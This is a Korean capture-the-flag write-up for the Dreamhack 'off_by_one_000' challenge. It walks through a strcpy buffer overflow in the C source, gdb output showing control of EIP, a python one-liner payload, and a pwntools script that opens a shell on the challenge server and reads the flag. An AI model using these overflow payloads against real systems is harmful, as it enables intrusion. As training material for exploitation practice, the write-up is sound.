off_by_one_000 문제 write-up

강승민

```c
int cpy()
{
    char real_name[256];
    strcpy(real_name, cp_name);
    return 0;
}

int main()
{
    initialize();
    printf("Name: ");
    read(0, cp_name, sizeof(cp_name));

    cpy();

    printf("Name: %s", cp_name);

    return 0;
}
```

[그림 1]

[그림 1]의 cpy함수를 보면 길이가 256인 문자열을 복사하여 넣는 것을 알 수 있는데 이때 배열의 마지막은 null문자가 있어야 하지만 생략하고 복사하기 때문에 byte overflow가 발생한다.

그래서 테스트용으로 A*256을 넣어보면

```
(gdb) r < <(python3 -c 'print("A"*256)';cat)
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ubuntu/dreamhack/off_by_one_000 < <(python3 -c 'print("A"*256)';cat)
Name:
Breakpoint 1, 0x08048699 in main ()
(gdb) ni

Breakpoint 2, 0x080486a8 in main ()
(gdb) mo
"monitor" command not supported by this target.
(gdb) ni
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0x080486ad in main ()
(gdb)
0x080486b0 in main ()
(gdb)
0x080486b5 in main ()
(gdb)
0x080486b6 in main ()
(gdb)
0x41414141 in ?? ()
(gdb)
```

[그림 2]

[그림 2]에서 볼 수 있듯이 0x41414141로 eip가 설정된다. 0x41은 A이기 때문에 AAAA대신 shell 코드의 주소를 넣으면 될 것 같아서

```
0x080485db  get_shell
```

[그림 3]

[그림 3]과 같이 shell의 주소를 찾으면 0x080485db이고 이를 64번 반복하면 256길이의 배열이기 때문에

```
┌──(ubuntu㉿ubuntu-virtual-machine)-[~/dreamhack]
└─$ (python2 -c 'print"\xdb\x85\x04\x08"*64';cat)|./off_by_one_000
Name: Name: 9999999999999999999999999999999999999999999999999999999999999999ls
basic_exploitation_002  exploit.py  off_by_one_000  sint  test.py
pwd
/home/ubuntu/dreamhack
```

[그림 4]

[그림 4]와 같이 shell을 얻을 수 있다.

Pwntool로 작성하면

```python
from pwn import *
host = "host2.dreamhack.games"
port = 18475
p = remote(host, port)
shell = 0x080485db
payload = p32(shell)*64 + b"\n"
p.send(payload)
p.interactive()
```

[그림 5]

[그림 5]와 같고

```
┌──(ubuntu㉿LAPTOP-tmdalsBoB)-[/mnt/…/File/dreamhack/pwnable/off_by_one_000]
└─$ python3 exploit.py
[+] Opening connection to host2.dreamhack.games on port 13159: Done
[*] Switching to interactive mode
Name: Name: 9\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x
049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x
049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x049\x04$ ls
flag
off_by_one_000
$ cat flag
DH[redacted]$
```

[그림 6]

실행하여 [그림 6]과 같이 flag를 얻을 수 있다.